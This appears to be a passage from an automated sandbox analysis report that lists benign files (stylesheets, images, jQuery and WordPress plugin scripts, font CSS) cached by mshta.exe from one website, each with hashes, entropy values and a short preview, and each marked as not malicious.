SHA-512:	026480FEB9493F463E9C7EC8E6FCB4F4F7706E71DC4F90EE0E74C30BD5C930535C3D329A20AB241E54E5FCF9A510F43081149449F4983DBC274BD155AE1A2F78
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3
Preview:	div.wpcf7 {..margin: 0;..padding: 0;.}..div.wpcf7 .screen-reader-response {..position: absolute;..overflow: hidden;..clip: rect(1px, 1px, 1px, 1px);..height: 1px;..width: 1px;..margin: 0;..padding: 0;..border: 0;.}..div.wpcf7-response-output {..margin: 2em 0.5em 1em;..padding: 0.2em 1em;..border: 2px solid #ff0000;.}..div.wpcf7-mail-sent-ok {..border: 2px solid #398f14;.}..div.wpcf7-mail-sent-ng,.div.wpcf7-aborted {..border: 2px solid #ff0000;.}..div.wpcf7-spam-blocked {..border: 2px solid #ffa500;.}..div.wpcf7-validation-errors,.div.wpcf7-acceptance-missing {..border: 2px solid #f7e700;.}...wpcf7-form-control-wrap {..position: relative;.}..span.wpcf7-not-valid-tip {..color: #f00;..font-size: 1em;..font-weight: normal;..display: block;.}...use-floating-validation-tip span.wpcf7-not-valid-tip {..position: absolute;..top: 20%;..left: 20%;..z-index: 100;..border: 1px solid #ff0000;..background: #fff;..padding: .2em .8em;.}..span.wpcf7-list-item {..display: inline-block;..margin: 0 0 0 1em

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\switcher[1].png

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	PNG image data, 10 x 19, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	207
Entropy (8bit):	5.824703976565338
Encrypted:	false
SSDEEP:	3:yionv//thPlHstj5l7prtxBlly43g/3MkOl0tDlX4wkBDjW3PsFmCsyxxZ2UGclC:6v/lhPWtVl1QHMkdJ4nDi3UqfclKh3p
MD5:	D6AE4F341752017AB0E603E3BB9260B7
SHA1:	C84C11D3BC69C7E14B2F75E7DEA6E0AC93DEE1E2
SHA-256:	8C2AD9254589A597B65DAE284A6DA49DBFE1E3C8E628B03B80883D980FB6435E
SHA-512:	136F04B44FC3194FB2DDA6DDE51AB0B83CE15BCD129EAD332053114675423D9E21E02769969D7037BC282F59AE11E673B61E2B3977253C54D8C5270FA72228FA
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/gtranslate/switcher.png
Preview:	.PNG........IHDR....................sBIT....\|.d.....pHYs...........~.....tEXtCreation Time.01/09/10.......tEXtSoftware.Adobe Fireworks CS4......'IDAT(.c\|....."..###1.B&.T...Q..QH.(..5/.?..Q-....IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\warning[1]

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	GIF image data, version 89a, 36 x 38
Category:	downloaded
Size (bytes):	1062
Entropy (8bit):	4.517838839626174
Encrypted:	false
SSDEEP:	12:z4ENetWsdvCMtkEFk+t2cd3ikIbOViGZVsMLfE4DMWUcC/GFvyVEZd6vcmadxVtS:nA/ag/QSi6/LKZzqKVQgJOexQkYfG6E
MD5:	124A9E7B6976F7570134B7034EE28D2B
SHA1:	E889BFC2A2E57491016B05DB966FC6297A174F55
SHA-256:	5F95EFF2BCAAEA82D0AE34A007DE3595C0D830AC4810EA4854E6526E261108E9
SHA-512:	EA1B3CC56BD41FC534AAC00F186180345CB2C06705B57C88C8A6953E6CE8B9A2E3809DDB01DAAC66FA9C424D517D2D14FA45FBEF9D74FEF8A809B71550C7C145
Malicious:	false
IE Cache URL:	res://ieframe.dll/warning.gif
Preview:	GIF89a$.&.......h...............h.hh..h..h..h..h....h................h.................h.................h................hh.h..h..h..h..h.hhhhh.hh.hh.hh.hh..hh.h..h..h.h..h..hh.h..h..h..h..h..hh.h..h..h..h..h..hh.h..h..h..h..h...h...............h.hh..h..h..h..h....h...............h................h...........h.................h...............h.hh..h..h..h..h....h................h.................h.................h.................h..............h.hh.h..h..h..h....h..............h................h................h................h...............h.hh..h..h..h..h....h................h.................h.................h......................................................................................................................................!.......,....$.&.@......H.......<0.....VXQH..C..1>.(..@..C.t.q"B..S.\.r.D...Z.. .M.41.".......<.r.;.r4..P..]....+.T-...N...x....1.:..TdD...^.j..W.r...y....V...Lx0..):8p q.4.;...f`.r-K...(..P....t.].~..l..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9026IKNJ\bootstrap-grid.min[1].css

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	15140
Entropy (8bit):	5.208958193254912
Encrypted:	false
SSDEEP:	384:R8xYxpW3Jzw4g0mCZuUwG8Su9uteW5GF1Eh:R8expW3JzwbCUUC3GGf2
MD5:	C3AFA9C619C14F0C3B0CA0BB13F12BD9
SHA1:	F3A2FE1CD8A2A51B7EBFE402D983DC7F16DBA5AA
SHA-256:	DE56C5F70EA565FDC866ADE91C95AB84151F55E030F861B3509141B24FD54733
SHA-512:	74B50CA4FC1D2EB7E6855036CEC9E86ECCA75BF8E05A965D5424B14551F4EC1969A3F94327E8042A48F2EF826D0F27166ACD1479D3105B814325708B4222FBB6
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/motopress-content-editor/bootstrap/bootstrap-grid.min.css?ver=1.5.8
Preview:	.mp-row{margin-left:-20px;zoom:1}.mp-row:before,.mp-row:after{display:table;content:"";line-height:0}.mp-row:after{clear:both}[class="mp-span"]{float:left;min-height:1px;margin-left:20px}.mp-container{width:940px}.mp-span12{width:940px}.mp-span11{width:860px}.mp-span10{width:780px}.mp-span9{width:700px}.mp-span8{width:620px}.mp-span7{width:540px}.mp-span6{width:460px}.mp-span5{width:380px}.mp-span4{width:300px}.mp-span3{width:220px}.mp-span2{width:140px}.mp-span1{width:60px}.mp-offset12{margin-left:980px}.mp-offset11{margin-left:900px}.mp-offset10{margin-left:820px}.mp-offset9{margin-left:740px}.mp-offset8{margin-left:660px}.mp-offset7{margin-left:580px}.mp-offset6{margin-left:500px}.mp-offset5{margin-left:420px}.mp-offset4{margin-left:340px}.mp-offset3{margin-left:260px}.mp-offset2{margin-left:180px}.mp-offset1{margin-left:100px}.mp-row-fluid{width:100%;*zoom:1;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.mp-row-fluid:before,.mp-row-fluid:after{dis

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9026IKNJ\camera.min[1].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	39402
Entropy (8bit):	5.336241934125691
Encrypted:	false
SSDEEP:	768:HUp+FrGU1OYvR7qO218kwiA2gRDLMjmQyrshT7Db3E8J1KTuDvniryxn7OqOPOtb:6fU1Ox62LvniFFl3D+
MD5:	4338F6FCF6F5F1332747A94E09A65DF4
SHA1:	099715E7293A8B570C46779C7A28B6832E34B72A
SHA-256:	CAD3B6107C8A8F38229ADD27D02A2150E204BA78ACC54144E132A20BA40FC3FE
SHA-512:	1120EC4FB4B981CDDF49F4B9933660F74A8B4B03746B5B329925E32FE5ABD13A675ACBBC8A53A2E2AB4F5C575256D0577B282236A60EEBA977232122577D3DB5
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4
Preview:	// Camera slideshow v1.3.4 - a jQuery slideshow with many effects, transitions, easy to customize, using canvas and mobile ready, based on jQuery 1.4+.// Copyright (c) 2012 by Manuel Masia - www.pixedelic.com.// Licensed under the MIT license: http://www.opensource.org/licenses/mit-license.php.;(function(a){a.fn.camera=function(b,c){function e(){if(navigator.userAgent.match(/Android/i)\|\|navigator.userAgent.match(/webOS/i)\|\|navigator.userAgent.match(/iPad/i)\|\|navigator.userAgent.match(/iPhone/i)\|\|navigator.userAgent.match(/iPod/i)){return true}}function H(){var b=a(s).width();a("li",s).removeClass("camera_visThumb");a("li",s).each(function(){var c=a(this).position(),d=a("ul",s).outerWidth(),e=a("ul",s).offset().left,f=a("> div",s).offset().left,g=f-e;if(g>0){a(".camera_prevThumbs",V).removeClass("hideNav")}else{a(".camera_prevThumbs",V).addClass("hideNav")}if(d-g>b){a(".camera_nextThumbs",V).removeClass("hideNav")}else{a(".camera_nextThumbs",V).addClass("hideNav")}var h=c.left,i=c.left+

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9026IKNJ\css[2].css

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	154
Entropy (8bit):	5.123661053174663
Encrypted:	false
SSDEEP:	3:0SYWFFWlIYCZZ5RI5XwDKLRIHDfFU/w7fqzNsqcdjKI9tB8gfKRfvYvn:0IFFN+56ZP7izNspdP9D8LAv
MD5:	B3F631391C5184932BA0D5AE887A2924
SHA1:	EC95EEB6AEC69F4EC64F20D53B807802716468CD
SHA-256:	2E3EDCE076C67951659C01C1A4B07592E6E9FF327D2C89EE660BBF47E2887D9F
SHA-512:	B840688F47BE36DD829F1473FB47E0703519968705D0324C62A3D081E557E8F5DC44F6EC7A2148A5B7567EA9800B171FA9F70E198E1948EE6E3006360D3FAD92
Malicious:	false
IE Cache URL:	http://fonts.googleapis.com/css?family=Lato:100
Preview:	@font-face {. font-family: 'Lato';. font-style: normal;. font-weight: 100;. src: url(http://fonts.gstatic.com/s/lato/v23/S6u8w4BMUTPHh30AXC-u.eot);.}.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9026IKNJ\css[3].css

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	156
Entropy (8bit):	5.1208073656474
Encrypted:	false
SSDEEP:	3:0SYWFFWlIYCZZ5RI5XwDKLRIHDfFWYhfqzNsqcdjKIsfn6vYvn:0IFFN+56ZzhizNspdPsyAv
MD5:	F123470D54A5D2FFAADD149D5AD1AAB0
SHA1:	3C2F20E79789430AA00C6D7905C3CBF5C397F9A4
SHA-256:	9E9E61C05174FAB73421B450A65AB5882D2953DA2BC4501212CAE8F3C53B358C
SHA-512:	2ABF321BFFD8233E19D8BB5FFE9FF5D93E1C9E41B0AF63067CC2DA13DFCD80176D3D9D6762D5D36CBE379B5DC122A24A8B190CE6ACDAD5C3CE3D4F754FB58CF0
Malicious:	false
IE Cache URL:	http://fonts.googleapis.com/css?family=Lato:300
Preview:	@font-face {. font-family: 'Lato';. font-style: normal;. font-weight: 300;. src: url(http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh7USSwiPHQ.eot);.}.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9026IKNJ\css[4].css

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	152
Entropy (8bit):	5.082226381168297
Encrypted:	false
SSDEEP:	3:0SYWFFWlIYCZZ5RI5XwDKLRIHDfFRWdFTfqzNsqcdjKIUtB40KHYvn:0IFFN+56ZRWHTizNspdPUtBNv
MD5:	2BC56AB743AAE5AAC9AAC55D0850AAC5
SHA1:	BFB989317C6BAAE1BAD28B90D9535B19BE847827
SHA-256:	5EC882B2726B2C1D1DA1717E2AC16FB43C0C9F34FEA5392B8DE090A47BEF197A
SHA-512:	FD901DB8F9B5ED13E5EFC55A750A364D47066509D7415544916AC7A9B3DFFC2A95A7CC3A45811C1A51746A0160A6D5F894CB06D51B0F234A558EFD9290A31F1A
Malicious:	false
IE Cache URL:	http://fonts.googleapis.com/css?family=Lato:400
Preview:	@font-face {. font-family: 'Lato';. font-style: normal;. font-weight: 400;. src: url(http://fonts.gstatic.com/s/lato/v23/S6uyw4BMUTPHjx4wWg.eot);.}.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9026IKNJ\css[5].css

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	156
Entropy (8bit):	5.138466900917678
Encrypted:	false
SSDEEP:	3:0SYWFFWlIYCZZ5RI5XwDKLRIHDfFS/w7fqzNsqcdjKIsk2SU6vYvn:0IFFN+56ZN7izNspdPsk2SU6Av
MD5:	61D55D02CF44B8A326A1504988A4955C
SHA1:	1641427E2A855C452FF71C3DD8014419376A30AD
SHA-256:	313F45400B50542F391871B43C708EADBDB23BFD4549EB8017A7192351FC41E4
SHA-512:	E8C3F9EEB19793334FDBF6CDE1731F09900F5BC20FAF3A1B6F76B796FCACB31324109280489923EBB66BEDEE242A6CD8B6654D80D95D9F523EC12CF633816127
Malicious:	false
IE Cache URL:	http://fonts.googleapis.com/css?family=Lato:700
Preview:	@font-face {. font-family: 'Lato';. font-style: normal;. font-weight: 700;. src: url(http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh6UVSwiPHQ.eot);.}.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9026IKNJ\css[6].css

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	156
Entropy (8bit):	5.133627878467913
Encrypted:	false
SSDEEP:	3:0SYWFFWlIYCZZ5RI5XwDKLRIHDfFcYFTfqzNsqcdjKIsWg6vYvn:0IFFN+56Z1FTizNspdPsWg6Av
MD5:	BC9F29EE3D832A38F914975FD3C14848
SHA1:	970307BD837AB5B3380A1BAE698091F2E080F5E3
SHA-256:	EE49572B06F53A4EA8DB5798B07507AA2D3E535FF443C27AE315177B0164FF42
SHA-512:	EBFADAD58232A738039F1D75523E3CB36928E4E2846A60CCA8B66AC7820666F7A6523AAF2622CD05B3102DCA4F61BAAA4EC7001C8A5D8D7B0D340E4976456370
Malicious:	false
IE Cache URL:	http://fonts.googleapis.com/css?family=Lato:900
Preview:	@font-face {. font-family: 'Lato';. font-style: normal;. font-weight: 900;. src: url(http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh50XSwiPHQ.eot);.}.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9026IKNJ\device.min[1].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	2778
Entropy (8bit):	4.92970371310333
Encrypted:	false
SSDEEP:	48:xLnN+tyKOxwaPYuxwFAmKldNzr1JhxPE63haDJ77LMeHrc76cCgP:hTPCoEt6
MD5:	CCD1C11A6BA5DF0CBFC470B04A3739F4
SHA1:	A8864D81DE7689672EF8F916E430AAABF563C22D
SHA-256:	A6BA246C6B7B60AFFBB369C8884D172DD3E4702A594F09BBA678A7773A25E411
SHA-512:	31F7B74A31E796534D0F51BD9BC9004BDD30EE896D987300A220DADAA526753C9C6D00081F4E9D18EA2BF875C776D6ED55CBA62404B22534BCD45A277EC45A79
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0
Preview:	/! device.js 0.1.58 /.(function(){var a,b,c,d,e,f,g,h,i,j;a=window.device,window.device={},c=window.document.documentElement,j=window.navigator.userAgent.toLowerCase(),device.ios=function(){return device.iphone()\|\|device.ipod()\|\|device.ipad()},device.iphone=function(){return d("iphone")},device.ipod=function(){return d("ipod")},device.ipad=function(){return d("ipad")},device.android=function(){return d("android")},device.androidPhone=function(){return device.android()&&d("mobile")},device.androidTablet=function(){return device.android()&&!d("mobile")},device.blackberry=function(){return d("blackberry")\|\|d("bb10")\|\|d("rim")},device.blackberryPhone=function(){return device.blackberry()&&!d("tablet")},device.blackberryTablet=function(){return device.blackberry()&&d("tablet")},device.windows=function(){return d("windows")},device.windowsPhone=function(){return device.windows()&&d("phone")},device.windowsTablet=function(){return device.windows()&&d("touch")},device.fxos=function(){return(

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9026IKNJ\error[1]

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	HTML document, UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	3247
Entropy (8bit):	5.459946526910292
Encrypted:	false
SSDEEP:	96:vKFlZ/kxjqD9zqp36wxVJddFAdd5Ydddopdyddv+dd865FhlleXckVDuca:C0pv+GkduSDl6LRa
MD5:	16AA7C3BEBF9C1B84C9EE07666E3207F
SHA1:	BF0AFA2F8066EB7EE98216D70A160A6B58EC4AA1
SHA-256:	7990E703AE060C241EBA6257D963AF2ECF9C6F3FBDB57264C1D48DDA8171E754
SHA-512:	245559F757BAB9F3D63FB664AB8F2D51B9369E2B671CF785A6C9FB4723F014F5EC0D60F1F8555D870855CF9EB49F3951D98C62CBDF9E0DC1D28544966D4E70F1
Malicious:	false
Preview:	...<HTML id=dlgError STYLE="font-family: ms sans serif; font-size: 8pt;..width: 41.4em; height: 24em">..<HEAD>..<meta http-equiv="Content-Type" content="text/html; charset=utf-8">..<META HTTP-EQUIV="MSThemeCompatible" CONTENT="Yes">..<TITLE id=dialogTitle>..Script Error..</TITLE>..<SCRIPT>..var L_Dialog_ErrorMessage = "An error has occurred in this dialog.";..var L_ErrorNumber_Text = "Error: ";..var L_ContinueScript_Message = "Do you want to debug the current page?";..var L_AffirmativeKeyCodeLowerCase_Number = 121;..var L_AffirmativeKeyCodeUpperCase_Number = 89;..var L_NegativeKeyCodeLowerCase_Number = 110;..var L_NegativeKeyCodeUpperCase_Number = 78;..</SCRIPT>..<SCRIPT LANGUAGE="JavaScript" src="error.js" defer></SCRIPT>..</HEAD>..<BODY ID=bdy onLoad="loadBdy()" style="font-family: 'ms sans serif';..font-size: 8pt; background: threedface; color: windowtext;" topmargin=0>..<CENTER id=ctrErrorMessage>..<table id=tbl1 cellPadding=3 cellspacing=3 border=0..style="background: buttonface

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9026IKNJ\flexslider[1].css

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	5941
Entropy (8bit):	5.075074456166432
Encrypted:	false
SSDEEP:	48:+XXpDjoVAxgD1/g1JlYZYGWUQlfAci14nNSvOFfYuzjwWPQvg8DhHoqK4zORAxFm:KpoVhxSK6UQlf21VOCo8FI74aRO9nblc
MD5:	C553A58B7B87830D624BC55C478732AD
SHA1:	E53CF7C7030F1CAACFEF4C00E7092340B61ABFC2
SHA-256:	013585D07F16D114D3402E3B540854C914254D7F17FD430E216E8DF7334C9C92
SHA-512:	8A68FBB8ECEC471BFDA84B524C56085BD8D928A97B0F538E531E2E057A15DA74FEDE3A2F32EEDE437C278778A302B25F4AE3B388E135878C0D2283691B7E3C48
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/FlexSlider/flexslider.css?ver=2.2.0
Preview:	/. jQuery FlexSlider v2.2.0. * http://www.woothemes.com/flexslider/. . Copyright 2012 WooThemes. * Free to use under the GPLv2 license.. * http://www.gnu.org/licenses/gpl-2.0.html. . Contributing author: Tyler Smith (@mbmufffin). /.../ Browser Resets.********************************/..flex-container a:active,..flexslider a:active,..flex-container a:focus,..flexslider a:focus {outline: none;}..slides,..flex-control-nav,..flex-direction-nav {margin: 0; padding: 0; list-style: none;}..flexslider-rtl {direction:rtl; text-align:right;}./ Icon Fonts.********************************/./ Font-face Icons */.@font-face {..font-family: 'flexslider-icon';..src:url('fonts/flexslider-icon.eot');..src:url('fonts/flexslider-icon.eot?#iefix') format('embedded-opentype'),...url('fonts/flexslider-icon.woff') format('woff'),...url('fonts/flexslider-icon.ttf') format('truetype'),...url('fonts/flexslider-icon.svg#flexslider-icon') format('svg');..font-weight: normal;..font-style: normal;.}../

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9026IKNJ\jplayer.playlist.min[1].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	HTML document, ASCII text, with very long lines
Category:	downloaded
Size (bytes):	8844
Entropy (8bit):	5.1067637688011125
Encrypted:	false
SSDEEP:	96:dv+TrZD5ip1yplBpElBpqdpw2pu9pA2/U7F2SOZ9lKMBIfpxTb8CGK2jhsBdy8bp:d0BCIZWBgVkSDSmmhDIHK4wVYH4cUdb0
MD5:	F05AC1D7BF95BA34B8BCB05D4455D2E6
SHA1:	F27305CA2CBCCA78715683611FFF72DF3F1359CD
SHA-256:	6D7D547D752E1999718DD64FD26DDEFA7EEDADBB11A6461248C520BEAF0D6022
SHA-512:	C05432C613C91ABAB1BE1B564278400DEEAEDEDE50528A928CD9ADE047899FB4EE55D5843845D286450CA38EA440C00021CFD3F93873547D7F53BAF138096AF3
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0
Preview:	/. Playlist Object for the jPlayer Plugin. * http://www.jplayer.org. . Copyright (c) 2009 - 2013 Happyworm Ltd. * Dual licensed under the MIT and GPL licenses.. * - http://www.opensource.org/licenses/mit-license.php. * - http://www.gnu.org/copyleft/gpl.html. . Author: Mark J Panaghiston. * Version: 2.3.0. * Date: 20th April 2013. . Requires:. * - jQuery 1.7.0+. * - jPlayer 2.3.0+. */.(function(b,f){jPlayerPlaylist=function(a,c,d){var e=this;this.current=0;this.removing=this.shuffled=this.loop=!1;this.cssSelector=b.extend({},this._cssSelector,a);this.options=b.extend(!0,{keyBindings:{next:{key:39,fn:function(){e.next()}},previous:{key:37,fn:function(){e.previous()}}}},this._options,d);this.playlist=[];this.original=[];this._initPlaylist(c);this.cssSelector.title=this.cssSelector.cssSelectorAncestor+" .jp-title";this.cssSelector.playlist=this.cssSelector.cssSelectorAncestor+" .jp-playlist";.this.cssSelector.next=this.cssSelector.cssSelectorAncestor+" .jp-next";this.cssSel

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9026IKNJ\jquery-1.7.2.min[1].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	HTML document, UTF-8 Unicode text, with very long lines
Category:	downloaded
Size (bytes):	94840
Entropy (8bit):	5.372946098601679
Encrypted:	false
SSDEEP:	1536:8YRKUfAjtledhTmtaFyQHGvCXsedOgRc9izzr4yff8teLvHHEjam7W5X3yzSiLnM:VUb6GvCu09s2o2skAieW
MD5:	B8D64D0BC142B3F670CC0611B0AEBCAE
SHA1:	ABCD2BA13348F178B17141B445BC99F1917D47AF
SHA-256:	47B68DCE8CB6805AD5B3EA4D27AF92A241F4E29A5C12A274C852E4346A0500B4
SHA-512:	A684ABBE37E8047C55C394366B012CC9AE5D682D29D340BC48A37BE1A549AECED72DE6408BEDFED776A14611E6F3374015B236FBF49422B2982EF18125FF47DC
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2
Preview:	/! jQuery v1.7.2 jquery.com \| jquery.org/license /.(function(a,b){function cy(a){return f.isWindow(a)?a:a.nodeType===9?a.defaultView\|\|a.parentWindow:!1}function cu(a){if(!cj[a]){var b=c.body,d=f("<"+a+">").appendTo(b),e=d.css("display");d.remove();if(e==="none"\|\|e===""){ck\|\|(ck=c.createElement("iframe"),ck.frameBorder=ck.width=ck.height=0),b.appendChild(ck);if(!cl\|\|!ck.createElement)cl=(ck.contentWindow\|\|ck.contentDocument).document,cl.write((f.support.boxModel?"<!doctype html>":"")+"<html><body>"),cl.close();d=cl.createElement(a),cl.body.appendChild(d),e=f.css(d,"display"),b.removeChild(ck)}cj[a]=e}return cj[a]}function ct(a,b){var c={};f.each(cp.concat.apply([],cp.slice(0,b)),function(){c[this]=a});return c}function cs(){cq=b}function cr(){setTimeout(cs,0);return cq=f.now()}function ci(){try{return new a.ActiveXObject("Microsoft.XMLHTTP")}catch(b){}}function ch(){try{return new a.XMLHttpRequest}catch(b){}}function cb(a,c){a.dataFilter&&(c=a.dataFilter(c,a.dataType));var d=a.dataTyp

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9026IKNJ\jquery.easing.1.3[1].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	3300
Entropy (8bit):	5.21640221299254
Encrypted:	false
SSDEEP:	96:daBwwfAxMF8qm9FUAm1Cal7yS06jfkOA/W50UdDiAAlZd:sO2AxMF8qm9Wdcal7yS06jfkOGW50Ud6
MD5:	3720B3CCB887382D0716A49CC52D7901
SHA1:	AEB99C65DFE7E6BA2931AFD762E53579FE372CCD
SHA-256:	605B6FE57753665BD450CCC691B2B32EB508F05D8CB9BD3747D8F37C808990B1
SHA-512:	B7F89F83B51132C5D66E59FEC1DA6793638360B6691151C54D9799E0B58FB2D9E722A48E3014520628EC0771C2BB9703CFE9676DADE5E9F9BA010C62701CCC44
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3
Preview:	jQuery.easing.jswing=jQuery.easing.swing;.jQuery.extend(jQuery.easing,{def:"easeOutQuad",swing:function(e,a,c,b,d){return jQuery.easing[jQuery.easing.def](e,a,c,b,d)},easeInQuad:function(e,a,c,b,d){return b(a/=d)a+c},easeOutQuad:function(e,a,c,b,d){return-b(a/=d)(a-2)+c},easeInOutQuad:function(e,a,c,b,d){return 1>(a/=d/2)?b/2aa+c:-b/2(--a(a-2)-1)+c},easeInCubic:function(e,a,c,b,d){return b(a/=d)aa+c},easeOutCubic:function(e,a,c,b,d){return b((a=a/d-1)aa+1)+c},easeInOutCubic:function(e,a,c,b,d){return 1>(a/=d/2)?b/2aaa+c:.b/2((a-=2)aa+2)+c},easeInQuart:function(e,a,c,b,d){return b(a/=d)aaa+c},easeOutQuart:function(e,a,c,b,d){return-b((a=a/d-1)aaa-1)+c},easeInOutQuart:function(e,a,c,b,d){return 1>(a/=d/2)?b/2aaaa+c:-b/2((a-=2)aaa-2)+c},easeInQuint:function(e,a,c,b,d){return b(a/=d)aaaa+c},easeOutQuint:function(e,a,c,b,d){return b((a=a/d-1)aaaa+1)+c},easeInOutQuint:function(e,a,c,b,d){return 1>(a/=d/2)?b/2aaaaa+c:b/2((a-=2)aaaa+2)+c}

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9026IKNJ\jquery.jplayer.min[1].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	54355
Entropy (8bit):	5.24962012461709
Encrypted:	false
SSDEEP:	1536:7csOF0XSMqEk3nRw9o5cfQPfu5+6Vo5aUuyEwVUEn6:7f4dfPfu51W53EWR6
MD5:	8FBB3319230D3C08397B7BDA5BCB1DC2
SHA1:	E7C9CBBFA4EC48771C03878949AD0A4128BABF62
SHA-256:	493DB6D1EC51719B44E204D0594B5BCBDC81CE173A64D3E90513A468CECBD383
SHA-512:	0BEA93F519BD1D9C10D41A8345807CBCE0D5C8C0FCF98D4B325EA00587474E05138C279469AECB0A3D0054A2941E380E6EC5839D7A6230697CD23F6DFC0718D0
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0
Preview:	/. jPlayer Plugin for jQuery JavaScript Library. * http://www.jplayer.org. . Copyright (c) 2009 - 2014 Happyworm Ltd. * Licensed under the MIT license.. * http://opensource.org/licenses/MIT. . Author: Mark J Panaghiston. * Version: 2.6.0. * Date: 2nd April 2014. */..(function(b,f){"function"===typeof define&&define.amd?define(["jquery"],f):b.jQuery?f(b.jQuery):f(b.Zepto)})(this,function(b,f){b.fn.jPlayer=function(a){var c="string"===typeof a,d=Array.prototype.slice.call(arguments,1),e=this;a=!c&&d.length?b.extend.apply(null,[!0,a].concat(d)):a;if(c&&"_"===a.charAt(0))return e;c?this.each(function(){var c=b(this).data("jPlayer"),h=c&&b.isFunction(c[a])?c[a].apply(c,d):c;if(h!==c&&h!==f)return e=h,!1}):this.each(function(){var c=b(this).data("jPlayer");c?c.option(a\|\|.{}):b(this).data("jPlayer",new b.jPlayer(a,this))});return e};b.jPlayer=function(a,c){if(arguments.length){this.element=b(c);this.options=b.extend(!0,{},this.options,a);var d=this;this.element.bind("remove.jPlayer",

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9026IKNJ\jquery.magnific-popup.min[1].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	20669
Entropy (8bit):	5.2808077876911295
Encrypted:	false
SSDEEP:	384:3ORjoixwByWeRZELR0oXnl0HFuG/76GIPGQHv5clO9sdG:3CZHEf6FuG/0um5cAQG
MD5:	588A4C7A711E01405E02B4E2F8E1B2D6
SHA1:	263D200778CB34026816AE5A7718C5AE4F6AEC49
SHA-256:	C9E8F0F8A438833EF971B7482991C681FFB7FB5BFF9B16CEADB22AD7C174A29E
SHA-512:	86DBD71D944B3F03F20A62E57E1CFA202D306E97102C6EB2EADE78D672E43227B1C6508B799AD88FB0D3516664CF4726D3E9C1119D5A05381B48A3912E34E688
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.magnific-popup.min.js?ver=0.9.3
